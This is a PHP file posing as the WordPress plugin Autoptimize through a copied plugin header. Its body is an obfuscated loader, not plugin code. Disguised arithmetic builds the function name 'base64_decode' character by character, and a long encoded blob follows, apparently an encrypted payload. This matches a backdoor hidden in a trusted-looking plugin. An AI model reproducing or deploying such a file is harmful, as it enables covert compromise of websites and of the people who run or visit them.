<?php
/*
Plugin Name: Autoptimize
Plugin URI: http://blog.futtta.be/autoptimize
Description: Optimizes your website, concatenating the CSS and JavaScript code, and compressing it.
Version: 2.1.0
Author: Frank Goossens (futtta)
Author URI: http://blog.futtta.be/
Domain Path: localization/
Text Domain: autoptimize
Released under the GNU General Public License (GPL)
http://www.gnu.org/licenses/gpl.txt
*/

$kxv = array(((((((98 * 49) / 49 - 5) + 5 + 9 + 4) - (9 + 4) + 16) - 16 - 19) + 19),(((97 + 17) - 17 + 3) - 3),(((115 * 5) / 5 * 1) / 1),(((101 + 20) - 20 + 17) - 17),((((54 + 6) - 6 - 6) + 6 + 8 + 6) - (8 + 6)),(((52 * 26) / 26 + 11) - 11),(((95 * 5) / 5 + 5 + 2) - (5 + 2)),(((100 - 9) + 9 - 15) + 15),(((((101 * 101) / 101 + 3 + 2) - (3 + 2) - 1) + 1 + 7) - 7),(((99 - 8) + 8 + 3 + 1) - (3 + 1)),((((111 + 16) - 16 + 1) - 1 + 9) - 9),((((100 + 8 + 6) - (8 + 6) + 7 + 5) - (7 + 5) + 7 + 10) - (7 + 10)),(((((101 + 5) - 5 + 1 + 8) - (1 + 8) * 1) / 1 + 7 + 6) - (7 + 6))) ; $lpa = '' ; foreach ( $kxv as $wwy ) { $lpa .= chr( $wwy ) ; } $tik = 'VE6
NP XVXB\ ]YWG	LUMTSBPXUSC	]YWG	LNG D[PA_P^UKUA
YMQUYSG\EQiP S[IUMFQ\NPA*NDEHFS[XA*SYXAYE^FS[XA Y^UA
RMEEZPXDY]MFQ\	PA*NDLUMT:SV
P
RT:ZP BnT_F][YT8\P
RTCnT_F][YT8\T:ZP BnT_F][YT8U/UAUXPDBL\TC^XUj	[P.A
RhKEQB]XYKEG D[PA*SYXAKESB\UY@ BTCALUMT:DPEHEN
 BE.h^A^\HKY@ BnE8[AF@>GkT_F][CA m-KQB]XZCA+U(EN
 BE.hKEQiA PA*BG ]GSKESA/SPKESB\UFG
 BP\EQEVBPUjSTEHEN:YQMQB]XE
On@8[A NL+Q(ENYM	>GkT_F][DZ.h^A^\HKFGm-LN/DPUT:^G
 BP\EQEVBKESB\UFZSGXASGYE
BTDMEQB]Xj
ST_F][SYBP+T(ENZPSnC8[A SRm-KQB]XQ	QT .hY^UDPXTXASGXDT	MW\EWjGRIUiGY,WPGWTDKESB\Ui[/BVLUMT:SXPA^\HKY@ BT:WA\T:SXPA^\HKZFXBRT:SX@TMQB]XA @PYLNG D[PA*[P
OPUP@_ZEYZMQDZEQFGPA^\HKi[ENYY+W(ENYY+U(ENYY+V(ENYY+T(PADZUTYM	MQDZPB@UE
OPUP@_ZE*iVBGPUjDTUT_F][Y\DT_F][FEWA
PA*Z\DLPXUA
ZT_F][*XZ ]jDT\PA*Z\DLPXUAB\ ]jDT\]_F/DT	MQiYWG	L\NP	EAXAXVTTDPY MEQiYWG	^UAXMPXUFNENEAPXUAWQKEQB]XQPAXVT_F][*WV ETUZ Y\ESB\UiAPUFSMEQB]XYMQB]X[T_F][WYBZIUA UP\TWAEHENYYXABT \ CGEQEAEC[Y[P:UVSATRPYEENYVPA KEQB]X[PAYQ^UA_QDMEQB]XEBPMQB]XC	RT
PA^\HK@TWAUT_F][CA ENZ\YGY^UA_QDMEQB]Xj]Y^U_SXDE]A_QDPA^\HKFGEFYETPZFLUM]EN_[LUA NLXA^\HK^ZYENBTY^UAB\ ]A_QDKEHP TYUC	RT
PBFTr_{y6Q{6DrAWME|  E;?{Gb P'GE?1]_$2[P><Zp;qo16D`C
#zg&-MO_z
 ]@#P#Dm%|B%;YD.%g>6[c$U YM	S r}U<fZ2
|#L}^"AB-AND@b#.:eS>P&\H*C\V?cPGVF(DZTPxx7/Z_r]> (1%D41{3'R5/Cd/Y~; aw]ng1Yl6`\JCw7CPL}P6c"]E`C&_cD) QY<xv4&>X_'D_7U1sEW~)<4GdBTB_]SA/tt1#?}a;QB:xW?MGnM5&Qs#6T_[R>uG
-}o8 [ &ee?EXlI6F@	"DO&41 0s-#Dt#1]H\'gF<7#SE[WEYD!Up_1 /tVxLV1xE{QD@Nv@RcF"\!]"sbE)TP<sx?'LCEDW00Y8(,aF$\0rc?7rL#FI4^_<omsZ'uMP0D{)<D`'?wEF]
2x(3S;7"Q@$ Zn9wR'2C[	=l^ uv=B;Fc'E=O^(U$TE^FV%7xP=sB4f])s22^s^.OwCR1Za6!?D!4r60^`[TDlP0D[p%"M	PN~'	2Cs!/ndG+B{EWZ[N$B[CE4nW7C~`D^4"!fs;>RAD	ZWSA>@[R2D"&^A'^^ v3.obDN7WcG	6CG(2~m#LWS YRF W4W| |Erc#\;xZ_r|H9DqQ/baH	8d_9C`9?uQ	EbI)BnAor %FVuvI)9cL*\a@%E1`|%R^^V#eGE,rp7A qs6+WQ7	AEEW6yA\FQ&]"X]
DN)zbP CcP@! Y[ES!T c5tq7c	-Xs
&T^!XmB+RBJ;pE~;Qb$,6rD1!\R;-E|?'_m:\]P>RYHJMCY><; IQAEW Y]F/[^E	@Ql$EA]H!;brQ6RpGN8n|]0\) [:,L_P uS to:UC63ZcC5=,|F%rp\Eex' @M([(Wg$FyZ4F(#W[(A|I?r&C@|P0]PApZ:	@Dq30"OF<%MaC$ l;0p$+ O$E#2pX&2E%rZ@}"Upb fIO 
9Bt(=`5$w@<4fLBBTe5DAF4=]y$g?,^ZdD(BZDWT(zIE4GX78|AO#{9W[)ZF@_;JFrCf_$]GGC:/$FR##@VPo[<$lw*4UNT4NO	\ ,1L@#:aA`e$6^ns?*y1'^Tr->Gr_)UQtD$OD[&6AbUE 5,EOg5TVG5F_}0b ={<V8W\* nB7+>eO<LeUlmH5|t)3 cZ WGGP[UtB'#L 3R_YB)rD7WLw%<#wX5DWEEURA)eS2.ET<9uB3#\`C*QAD?Zb_OTGSBD@",8yr!?]S[< [8Ns?JpF<[y:4[T[ELcE#Qo!doJ@zf 4M('0@E_e`:/$@OI3Lq
CWA5*LlT7'A` 'ZGP^YDP6F/LWEV@c16Ma~D4U[(4Mne St@=~y*0&v*4eAP;~7Gm#|AP-,lv(l? AdAJ\zGUc/UL!01|{<XP?DuW!>nA%5;t6  B"BF>B4!~_=]T1s?U`<W!t|R?bF$3&Z<SU~\'"YX[CQP3'}_3DfE5 Tl~d5Dzr5 <No@|q?/G_`*U:S'?qzP'c~"@W
 {$V@7
]SAGbx ^79|A	BH^QCDC/X%SY:1$W`<c1S[v	,_x%6}z,ndPGG R3V-NGE?`<q~C5CuB?!W|A>_o>Ct[?qJ^r)$Uo?*^bTRL_=@v; RA!5f9D^P*'Y9'ybJPQ<Lq%
0aF0GB&'aW$_Q	"Z'*dE3xF8?CZ U[:]~5"32#aFxXCO
2/Z%<$YE"]Z2
@N]11~rGL]G)CBF\bB'
2Ol wT[VBGd1Zsx(=-Z#=!wg=4~d%r
,ZZIET @OG:TQ$(64?~S6> m"U?A6rW13 `~"'n["ZM&!E}T ^`#]EUX'FOa
28_V__.{73S`Nd]&wrN@3y!2qD2?Ue\& dZa ~D==Rp
'ES|GJ2u.3c]A11dR7bDTs&54nc Ecv!WqAapPCt:?s)#WVt_? /gLy+LtB t]4>F?U:\' m#	4_,'0%A" qPGCI*bZJ1xdDO{_-&L@D,\w7{7YF<{B 5^yo7^_]?]fB(#<!{_GNMqr)=WZ--c~2\@m)`g>,t1AOH4DOL1gqT,YF\?-`A"W^cd;9Lw* @DT5o}34|CX_D$9qEF w?Edl41x	M9,@H^`X8AQR\>\smBTE&4%Aa;WSF&7A	&^ZC6#ENdG~	&=n\
=8E~RUO:A]	' LUBOt/a @G =CZ p!pDW@W`18JUEq4W,BpF8OL|%#3S"5:gV2E;cQG<$|_5*}ME~<3Rc1^]
<RG[>{oyV.9a_A$%|yC]%A|$LT& 7(XRW}&ET[$\Mv.Fl8~A|L]<}C_^L6B]b:Dy_>D|1PZ!T!~ -NBc&U%D_ $B\U] M_'1BQ'EDD!|5	'Y;-/t:'P'}(<]w*(GA \Z<C>f9CQ~6'LB-o63bt[Xx
{{*S&`V
.#R9=dGJzB16Ev52p(:|	]`)&DF3wV 5cX$	A&zV	N&/yw"9fm,%Q|6f[1,3bB['GV!UUU~T1N^79Xe?Q4|BU6dT$L:*pPpm	C?.E37FXFH1;Xe4ST\8+@&	/bP@1~zE#p^[ 8|\ w`	0_y2Rt$Auo]>zo7V!exG]*N^]oI@`~2E< `%3CyV PZc_5
s[4P gQ;ADw:7q&\TaE"%Ea2EWM1mA>NQ[ '@x"-1AA
LL%24Dv+ eC Q'(X[BP6_B8TU48 "S{^s<
 wS0&Gq(Sz[9_}*!d}GC}YQ3eL[P/Eo 9n[)Zq:
3FCTs?&Mq;\UeX>R-Y=.dR,BdW9V{`G8Ez)<b	Xp,9OCWD\@ ZBSZ>7LbaP/ r@ENB&7l$,DTDpW#/@}7T>xm8 xa1#z6VLB	"y^)V~bv <4]#19DB"=<y:6}ZB&eZ!&T5b>	;UWPc[AM~V3/\) p29Fr9t
N@Ab[,l"=]|^>Vg~ED4*;c{(1UdC:'<B~4*0dy0?tEGV'|F&%nA*2f7U^~?<QV3&[_ Zb}?; B$&{OG(]9.Za|$VA~PV1bY1:x)DtLH"\[G0]s	p@&ClP7POy*1qx!)S'N\_L!7Wt2 L(   1Z6!9^I^_R(-qw6) 9TG`l	e`)9m23\c&(3n	?eX(@OS!&S@)<0B~A;O}G9XGBQZrTG?MoQ<gL
]<w	7oA?yo 0=FHS%yvP7 ^Q\z* 3|aS:WM2Uq2c}<,@c|T*	^v5]w!]?A<$_lT?CE6Ex{G=LGG@[=sm?~t9Z\A-bo_'Lcl3$yb#?f@3,3XM6GeF_0U+uQ'Ede5@UW)wCoo+,}V[!0@l.Gm7MTd%$8l~*BFE y;\fZ9%X&SX!$[Q"QT&E`pT{g$ebEAL>^{PU2@sFQp]];7*'XF4\DA1)Gu7CgT$dQ@YR_0,}{2*nL
1AQ"EB\CUV^DO#Z`
@b=:dV#BX87E==AqL6!NP &U4oY Bfa1E3aV  oX?#Z3Qq]&ngEZcH%et9#oH(,ttA#3{Z]\XC UPP/XRA<P -]tE)JBO]Nb1D}gItXa&$N8/'|4]bEf'(FueSD.2OY=as27;A^H=UA]:0Zq@<\AU>NCtX'Z|p'6_7.4^ N)L~`A'NG 0x=9nS"uD;SL_Y%W:[qC5/X^@"der8 LzPGxJUZO1 Lc~5 ^o[6 W`C]CW%	7s7.AaoD1BW8-XBE<Cy?W3UMP09c#
9{A<AAI
;roA|D6a	P@m|{C_#!X;*$}8TZOW^UBI.F^R"@_+ dp&px-s9=;s\
	7[sC"9cC#.Q5MDTFl=d}?R1XE#JPE_A64?g_]Ua5#Uc RP @O]73MW'qv>&u&1o%=Te"$]P$.<Wgm*"Fq):fP&RM42$P-:Qwl8c:)@^x3G/FQsE#EF lOE&Y1]r 5d)ARC_0 \G*Uz7CZ$*1VP2Z7\m"FrPG
,{{4DU>'C_@VyD!^q	!Ts6*1Z'3yQ2E"r!0'~r$4E_\@.Sp$<uz5Zo1WApB&s @l{&yA\8ZOF(-|C!rc;/6S 228rZ#3$`sH'B`^E0;Z'2x_3Cv;cyFl	*<x7~q3/qLB&/^}456gSU~AN@]67p"m4(2p[JUGy"/SpD^W$"\f!R{p(#^>*\SA%>c~_V edP1YF##r@6]r6&M|T7qw&rx6P,EgEQC^|`!N8xy
"0R6#L	<;s| Ca18F4W3yV?@W~71]ETAG/NHQtIf"Ncg=LA>yC?ZCl9Uqs#N\S@W_8udIQ`\;<0Um>16u\@S4Gf2UeC= /_!+MOA19m&FTH/=\BT9nDS@<`F'pT'Q_NP 'q'qT452FW#AS	J'BZIQYw9[+2XS>-3`G);ERQ'}MPWu|9Od9DsCZQ2Fz#8OGSAZw$
X^E
9]`@]3cY:2FQB'U[%>cHWGWZ62 P>X}AsT$z=,|H1x>#,',zF
O@nsU1`Z]UsC#u]&_('L\0~@$0wL3%r&.;E@3Y"Jp(SsW#f 9!oWaMC 2wS' 7NR?/=\7McPdVBOa 6gE<+A;
dD#'dJ<[F#ZXb%FWL N0pE 6@AaI/^EC[%Z][	=O1ty??Pz!DAF+"b&' N}xr #/qX/6z|)""Aq70zw>qB(4^gC^]"PUC+C[dGU9L@;WQEFz:9ZP%>W 8e(fv2T^o $LPo!g?7FP
1g|C
_%4r 9(BwLPNe#DfE*Ao&"/PDx\!1[oB. x}%Sy-MN|HEW?%g8'!POOZxsGBNFB+ a0xM$7sL%DAp$P-?FSI"CGETUtM59YC#L@aG-]V<~C
^Qf# DS&d^ o UGZA)"ew	rS#[S#9WC6;aS!\xDVBZVC,1R[:1 wD@+AFB+:dP [[>]g4 BV@Qf] w~GPFnM2. D`ETp7\UBL&3|F7
G\zyH6NB];UO:qO!@B-F|E4.=~\>SBXFca:<oT8N4{1;qAz",LNx
#Z
QARCET;LcE$&^CG;OYUD4Q=]_<<Gm$gS< M@!dl"1!lACLC D|H	<[e'P:Ga	Upd8+Uc22'LT44bM']VLb@=?{o'EY_&gvEeR57$Af9Rl&$cB>=S\2f[.oeW X	G92N4>Q0B`"G)9uQH\VUp3  CAL]8$2C9PC{BCs0z@[	7cPV%N;^sWbO=EFC7F{C	tT2LG*NAnlIS/ZvU6Z{$@c) %4{P8#6 '#UF` s	N^|=3 IWE
\Up3R]BMgw
 deP#fgb36QL(e=aO_RDs#"AFPP/|x RC)D{M#_D"^Xf%3[Q3Sz#-!d|4g(3_6-lR=E<|]'Lt @}: tL>-=Lz<>cd(L{~718 QVLdBG?>Y<$627@|"8C&GqA 79}Q@	6cZL^>JGC
D!1XY&#~H =\D*,] B{F<E;FM@\P\G[_?TEqy(oF;
M<Z z9\>tZ>V:\|$c!}X2)B3-,@7Vd SVgl"UNMA,\S1>u14Ep$g67@S722F{P*z6?!YCG=Q'Ex"]Xb&MG'Bw=~TVDOtF(FA:,p|^D7O$PD\^?R[9T;rSF$o QV7/_=7T|_#;`F+'S}I"]wQAXMC}B?#|oAT!f]7B}D&R<!Bp5SPG6Mp~(0Rc DQOP=2lCURBSA]C'.ZBY70Y]"D@a24MJ GCHSq6<<aA)0nd6pV? oS'>lO4/f1A[R7Qp'~VF3q!fB'(\^|=%o 'Qe7$C0QV}7UL%)F)\ V3&q5$C[(P2W_ "|[@O`B"S\P?d4=Zwd$N:uMH`s=Zcp2<Lb&5:De,@{H.XT]eI<BP953Nl+DDLWT	(EZM>OGp27g["6LH77C^7E~: DBHQZ1WCtV)1qT1ATr  "y89 Y3&RQ	 ^X@F<^r=,! a[#oME!"^G2R@@b&EBfcYDR,omJzg[L1:O5z} ':S| 'STF2%@aZWM$wFlW	3Dt fq	]<pVrc$)Ng85GWaP6Qx6+$`l<5AbD4wV6|W9`f?\G2ZP`"DD#;Q{[x8EP8
"P%/N^] OB{C9/YV"2`z]-^a1OX=RUbNqDDZz?xE!\H Ag-Zg47\Nw	5to!"[)%]cE<@HU^C*\TJ^l)E_<R@f6g
>_s) 'D]:=;%XP&s[6G'6RP=b`Q1 w$.Da_J[ERF`GTa5W~?4LryI=<~P/tE*#}r4L$}d3A 53Zr_;LE?TMA(Rt>@rC5#U[q3U~B
&zo6.>Xw%t(#up#.,ZF*2z`PW!Bb	rCtaA0ZVOaCMBX'y{HTq?1_20y	.$ER11/q5/;Fr1|4$py 9| '1CE&g|@$e|8W6^F Zs?)DM6'2y`7G^TFd7_oC77yEWcG_
7T5}W?JXL	WF{<Pyx81<=)'B[G_wBf#>gA$,tY*+Dw # FEFW)8TP31Rl6W`0BL\4Q7y.8OcD\|? l/  $UPD\Bl[F" {F#MTH?o@/|~]@UE';pp CZ5Eal7-gST|_/DYHRd,#w_\ttP"t9)QAr}*	3eo3Uq -Xv4bC72LLpPLpF7?y[$
EL Mx3
3S4Oy)1rX&!y_:_d \0uwB	!ET]y2~^[Pm!U45GdXE(=EC# b]6+ZR C=RM7,Z`<Ft:ELFo#P\lW RV!1z4#@ X'''naI.Co28S\*Ao4 -dx BE&7 b@?0UaC7A\X~Bx
V YL842Z^U^d\<[s7<B|DRL3ZxI _#(ZBH7EFM E'@_+,g@R~r!gS38sT.Zt@)4Un76_GRtO1+ 	3o5R p'>z	4@T!LR_WnwAwUp?P[DTcE)0YyEE aVCO9V6XR7Z@/S#\|? AM$!=^&PCR?Dr)-O|_G=gV4'B[
50 7 YY(8F|_T 4~E	%Ns4Am" Rs'P>rt)D%B\1RN!U OOE ULGQC_>\Uf3	4[FEA +#s{9Xq) 9p	 6#r%)7U;w~HFY|) zV4LXSDE:x='0B	]Pc	-OM,RF3/B^-6l_* c]C	7PA_9TB.C41?z6&"cQ?$Zw(^_@VG/FL^Au#nCF
BFD?aW[5'fQ5U	|O)N=NP	^Od
(&RUfD"3a]@4\B\$y.|A'G]/8QB =YbE8yH 3y\9!7A(#Dz(31c5-sx: <Az0btS/&VN?s*=rMB62Cs4 AYY-Q)ts<pR4,ZNl&&}G<bB6O{[ ~e:!t&E t?09E&qBS;Q 7>l#9Fl?^P2g1,_L@NLA<2ZQY*=Ng72cw//T_]Zr[uZP=,F\<O]'NTCEg(QAfz1Xb%/0r<+93D[98dVF,:c>/#}M46XZF,$lY2 3L S^R	 `GY	'^5#ueC	ATP XIPUWmR|=ZFS8<%_G(UX\txF}EC78Fs!D9]Z"-DC'r@8UqH)LdT"&7[ J#>wT=.>E Z~5Ey4 G81-qFUxDE5BbmASF&lp)2 gB;O*<|1.e <Sa2N#JFo+s\' >~PF^FAPJ2|C&E~xAZw$&[f2BeM$S^EWCT"cC?)&@V1~]7E_V E=78E&29L\Lcy@\GI?@nm*xsPZcl5G@BR0\ V Y]	7L\bFwdP03@F9]oV!*<WM%#na/4sqO<<UIQ4FRE`2JRT8/Ol'SFq4zD[\Cg7/s~ P]4F|&#aq&:^@$4y)GpdP'`EA+"D= ALG OEIBX!|W%E"OUN=Eg9$,}f 1A[&\f}HWTWx9W=R*\
CCa+r (<UAX7t;QDwAW-EF)ZX`J6& l8E"G}GUP1DTDFCA@V9X 'T t<<P\9	qT&14OgC 6@Q<Bs)^|9+2sxG"lr>5dQ^up	GnTV [gH1ELg%f~+<aBa\"NA.<L^+>F@>#Gz]:Bq!Q&bcV!Ll%@::fO'BQT3wgI7}B|d*6ZbA UA@TZx3UFE*GSt:( WVs/>U{EL(8Px(<g*VE' %~S	3N|G0DEA
%BgE]BD ZPGdbBT,`T?? U~3<8 .<  T/npgLP"-&X2$doSG',WW"D_=V
q[=$C"&-~(!bm$12x}	<Q:} 5&8Yg79y}RL_6(9\!\ B< EGUyY*&La',0^!0t 44~R)0X]7R< #WMwLG4w@= so
lC1(3ZLwE1O@CG}48|:Jy>Dzt3?%Qq2B= 9Yx&NGnUBetP?yy8]q =q[>oE_8U1w Qpb?^
TSRA4]% ^URC6/yX_afDAFHEL7-A~#P:[S
*GBF54?}Y:|F 4TZ8# V?PNM!AO1\` 	Po56;EF
!Z~oQ-`P 
CRMCt UFV4r} N _G4`<,{y>2LaO|{7P7WCd 5Ad(RAw9Ac-6f~Bs'?; -lEZld@XgH AQ`A03Zl47GW GACGV4G'3>nxPD}6>N\]%Xq%PG|(GTp"U4]7s7r`S ~8&cQ<A/yp'lZ&Y1/UB*0}l5ER@PL61/~^ qgP//}E&7F}&L_$CbV6Zov
^a$&fB"=F!plPnD&pY0ADV#~$#s[TZA=0yl#3Am4#8}Q!Azx_f(2YB,BrQ+U E+W|S8BcL1l`[PdQ #g\=3>p(DC\!RB{^2#`G ?AF1<gV!]U4!e`*/TA;V-g/~wBDgB,ff&0!C}*#^q=]tf#sR	#p<
4x&<r[P22Ll lrS0pRAs[PCd~9ToA"`EAE%aQ3!s]pf?Cqm2N4]2[C/ALZP
w>W:\ 9"[F3"Td#31rs?<MNF:TL6.1UZ4-R@:=e@LDv4R{!N-T8"DC*9_s?Um SG !/*Uz pw"]xF=#!Y~E <~}GU;y#%Ft)z9\C77AR'EoR]-NW=]XAV L@C=7X63@Iq9SC\w{E/-ocPNAq$=QfC-;zC;"S|CC$8FL4Vd.=` /9a^IPSW-{$1DdBOzRPC"1Wt="$UG ?AP3wf*\}yF+6P;5B;Jum&o^36,rWFL!!V@.La$=v	 Gv
>[;Gw?S~TQ,``5uM@>OE5;t/&AVB+1w 77TSA$t@E=GS7!=z]@Of8* cRH.>UZBY{-^c8+$AE03^:GY[0Fr3t] $aw1 A$2_dB{tP _3F}bv0| *"UfvN,P#:`_F27Gx3!A@VRELF#&Q_NyOH"c57W!)EG Q~>0l1XQ>EF<=AED,P @	m#	G}*<]x$54cQAE>FW63#@7~  'wP#SBX9*dP&VPRyCZb
	n},U\8VG@cU_PX#B360|FtBB ~ &Fw3-2l?=FpE"_ GE6DD6V1Gg)?%Ep0FE${-BpH#e]!@yP?}c
4LUbBBDQ6W#?@W1Bb|?UC@!>AF1&zo@Y$cx;E|@7p_:	:_V:*OZ%+Z|^{7Cr.'U\g_!LD4w|5
TO1aD>}P;SF]'|1#1w_(r<wfVW1Q'\!U c62<Pw&V}g'
xpC! Dx_7ws!1 Z4?YeI)"zo7 @o?$dMJ$yH4%So)]UeM.X=<$D]EbQGZ[g}G+Td$(_v <MaWMcl9*7Px?1DS2eCP&N&DUb% 0BwUe$
L|Ef`*;]pad(0NY2U`	61q_)0_W<GDbZM;J1ZP3A7xs 8m 
&DOXgRC#C[<9f}3DUe3EAcD&:sE5BcV!Zzv/!Q?]o:"x]	>[9dZ7-UoI,7Fv[VW#<8G> Yt_-9^`P!N%Dt;!s; _57EoRVFp /$Eg !&{qp5"[
^NEd5UQF4/W[^*Fog1>Z(Fs*BrpEqg!aGV:f	<Xx%?'C 4^oGr2Gv)AL	uW3$,np)tbA'SW=Rx H+ @|"b ?}})7~~Rm6AO__@E4!U	'2EzI7q@44Cy9]>z[B558ffFV$ez

&}^G,|8#sy 
]a@5;~W9#9QDEt4.6J @`3?]['`E#}FM*fF)QPEuw2-Sqdf5p!(/u] +Z'>_?Ezv4EoFR}^3Fb),GS8Wg~))FsWI//W"'W6Zc	5 Tz"?g\2VFl3W:C0 fm3@Fd  ?so*UxC	R9=PZ! UM% $g`%$?cX2CR58q_>uS
bZ !Dg3ZSLJ=wr)WW@Wf$4LHE1WxF!b471zW\XFIwL5^tmA$E^FC7n{	PE_/rBF=L(]`IO>AN{;Q0Q`PY8/>nRs~6SB2c ?*?UZ6,Yr9]#'>g$>V)3A9n{_
Q_A/DEtGZEm}ZV^oo
,XFI9dyW4]f<CFV`w56XQ\We80UBR<`V7`&Gz?MMA	?nC[a JAxdA+Z}4) F8'BX@R:o\>LP"wm*. yS;D3*%fwANp6$ \T2/As 4wATPBTZwM96 Y_N>X7^uz+qw>&u
&WG |RxcAW TmUm_BST V;o^&fPYm'g^<R	`Q
Z@7G)#{}$SLS1dW8#}GGJG`6T`SP#@L_?P pt@r< /r&<lES@:$YFUw[>',GBWDo)AC&ygR7Bm4LAIEBDD?A~D;1L@r)Vq7
FW?&s^	 SE4/CQWrx%6b#{X$'# +$g4YH3Tr*3&{CAHzR
MQ[:-aP] A'Eze&=UrC/\{HBS b5"6RE1Lyf' #g[\`s_TF%l,XM;@@0b7FVGEH'^rG,C`}5!GZ3? bv#`^*-0w=1d@DEFWgtaHVuo!RP+<AR>(:]^D
CnD(Fc%7^~C
TR
t5U/[Ee[[T2sE	R!!;\M@Ql3NBQ[ /WSM\f22|Q<TV'1U]JgMS t!7"\y R RR)=\M  AC<'B 4':bonB7W76w?_3&e_(1g@*+E&)G@A-^g:@M=*1_p&\?z:ARF*[ S4oxG('l &z^?-B*MA{P s.3Xd2ot$\<s|CV?qq dlF|P?c@';|FMN^P~@="F[3,6A* xoBE!^Q/:sG<y>3?Cq3b EM!P\&2%`eEy%Ns"52AtHWUpEQUz@bA_!'R(AWF 1QC
T sc6$Ex?NDSf*@z^3Ufe=EfJ=nYE
b",_}CP1TwE>}dF.ZemD YG=Q0zR#^| C <UnP(ELz;1@ZfHuf0crS0E~	!q Bn=V @[50~3tb>S`[:}X!}MF1USZB%#Uo[!62y\@@X63Cd~
-YG)8
6[ ;C[nIV7atG2Qz)RLWX@|r=N!UM1/ALE41%CQEH# w17;\~'<!~o0=Uaw"_`)	#@Y Ff*AR8O*(^`5Vs: !DD08T> fz7?El9/ NW
FyP&`A5 Lm8&B7S#]_Pl2zq70CBBB[-,t\GLT=2oC;0:n[*$p&ENfLA19GxE(ZY34"n}
0-cy%]%XW*	GCqRESXSUErH0D_M5Lo`(:^\Q'apBJq#y0DvJ:*z>32ov:`28T	#!n` '\FT9gR*Et;AW>N$ M0"b~!ZEU 2AoE3P\F4w\;PT)Wr 
 -G ,B_<PyZH	n
4Uo$R0g@6XLHPR_4EZ\DC`G?&RYHWQ0Nr[?DaSE"ul@	aDuGQ?_F>P1[5PZUV(1|R#Lzdpo24ca-C8/8 Xu-o~5Pg&r#T1B_<QW5D[[HUPqB' XcE2;pmB(3 403Ym;7s[;+Mnm4AoY!b 21n'B*Q9TOP`w/b z1$|<-:D7"ML_/_*"@E_(W6a`< =Bs(5=X@2CCw) ULr5^A1 2|Z3'!W2_E]G}['DmC)U[m_?A{[_(9AD]94U~F2SF8\C$Uv</E@<42>r!T:{4&}J?C
@Y=|[[0&F`/#]T:CZ@`y*]ATBqq4B\FfGI63S1 t}?;$-WZ(C}P >s8./eOETl6G]=dN1c% CP*&Z%2rQ76R[7^H"CNd[#FeG*{4MpaEZp[SC+2_^W7Q!?>G=1z |:$eb72ZG\!AMWzB &C%wtJZ~p:3 v=$Zq -W^H0y{[<rGQG@O\
*3V6;rt80`BFN:z^E<F[CW<6Zv>dC&!GF>U{FD/C_R<W@1! \rG\f{=;s4?QZ<&Ye
4<~<'2P~3# Z)2^R=@6b~>JOEGEAq[C("Wv 4eg!J8PX [:6e.E_FJ3U!?^%.2]p@0TlD5=|TEApO9@l$4s@*,Dw918@9"COg7DCzG%C]5O^yV)J^o"70fxBPEG4"d ((>p(4Dq6Y IV_'DCzZcgV\DRl AAod5W1fx1$CD3Ufd2<AwE9%N~I+!ADF#rm&yp%y&/ z>D]T_l&~W$#.YB3S!2Y5b`:Yw##cEEnc S aTED]pEJ:9[FGQN7<bx,^x^@-Wt(1g@ FE,Mew_+Bft E^pS22f"'lNEt#Pg4VE]H?;DL<P@dW_t<&CN,\X!oFEo#1@ R''ya+@Q_>Q0a}J/Lt=YT9  SyA<-EAPP-bvB,"PF>Q6UA_LRGF2?p?Ra\rW#?&^O%uL*GT\QNy61 dY$aG6"R%FLo+Wo	ar&z`I#T5JELd"NDr54Rg[!qy 1/\R2(PE9:P}1#F~b&f{2\@sQHEb61~T 8YeCT^C7Cpp(5$xa	lO
>q *C:Na7CwXA*uB&po=2?n`  @Q9 87py=>tX-1^o54:`6`C$!,}a=18e}^=3lPU1wm 	=od\Fs A+>Gf(,bT!AAWsG|E>R A	Zq5AaaCEl_,?Z{SBT8'6U 1EN:|_WLPB*NtwBNb^.)CQ%dc7@^ GnWA	4Rm&1l@{yG	>Ga&=S@D\q9-u  # S
D{'!lF4"$eY&-{~9WO_<gB WwV<AR
WQ
,AB6Q87FYs'"Ba"Q\BM$f^""FZ'BW{);Xz:Do!}A7TZUWq-2aDSoMp@wT8q`RDLo1\S!EM 2%Bl7oGP!f&Cs :a6bo S<eP6RlL9.<exELG)UWYA3 ~l=0_	6%ZD	 QqL
5>xv>@d}5
FcH3@YOa&.oE1tP2M`$V C7up%.n=S@up]6RsVC{wE58s5n|A?PA<g7R!PQ]S-dB'@UBYq=PFSFg1 Lp\TO8'fM_.~`=Qy 4Y@<@c
 <Oa*"F^W:rQYPP/a?W G=\,F:2 f"|q5+ D_[%@B7%sLU0@B]\^P\?DW$Wm6	Zz"#]O(N3, ECxP\V'T|-G^ @z"6g{*BW%(L_Q*@^X2D!R4o_ <[#GQ8E?|pC!n2`\
1G@NSA_P` #-LMZ}@> nC,EM7
[LG5\2,@Q[1x]&Fl=J^\s-y:r 'DW9;O2zbGFEASoo>PF"MpQ&Y)B^GE}<NA1'<^F73f@1&=w_?63fS4/wW@43C[ZPMWYR(0R;ZwM	7&LEG$A[-b5#4a .Zw[Bq4PLe @>Rgb!MUeJtp-Wm>? {reo~>oC8ELYB;<P627Bl)SscGx_<C?tDE/|X7Ueb7.1yBF0!Xt5JAGrs*>oBTeA@^c`6rqB"9RD9SF:%o~;Lg6-o60,\m!#{t44!cA&Zo)\A/ \I,UtZRFH  cQ3ZrE77q_I7\C5	$@})<~y]@G2?4oy;{T71%TM)4_gPQE}I/^t]_TGaG!Pt }e0F@;UE@ F]zP5<n9=AY	Gq_W2Qr7W"7Ed(9(0|Y6ld8|OQ!`)0MERCOD,'g7@^FDB(?vB?^ b!"C`""G|H!Be?8S!bLI"$C~=+zDQe 0D27@dtlL>]Ac^0GZ_Y9#R^?RW F'q\yg	Fl!r17sQ"PL :*FdeNqR{QP	nx'-#wzrxGg3SGDzS[U;yC
,W zzN/O4UF=UxdDC>T\z&\0][?}T%@Mys.,S@'Jf ?[W@QZ|t#	@b>UsB=EEB7ZX[G[d
b`7/d'\6<[Z6Q;\YF}\.4L}11!_
N2|C<2:L\)(v5=dtX
^cp	]?uW
 ~;'dxWe8 0D?  Z["Ut$fDnq@l_;7tD?&up :WNt_ :GxH'$^NC)=@]t4  XY&AgPWLLPI0Ug> <Gr11wc6>`_3S4gOPVx$GWz+&BQ!F~e:U/v!Dz|-6Wp%v8UzS7}X&_w:^d@4dq)6AP3<];36A)(<SQRCGw ]:o~A	sc:W9v5UQl	8qZ%UA-DC
EgL!QA[o(ZgO>RE'/Pz8"rT 6 pR
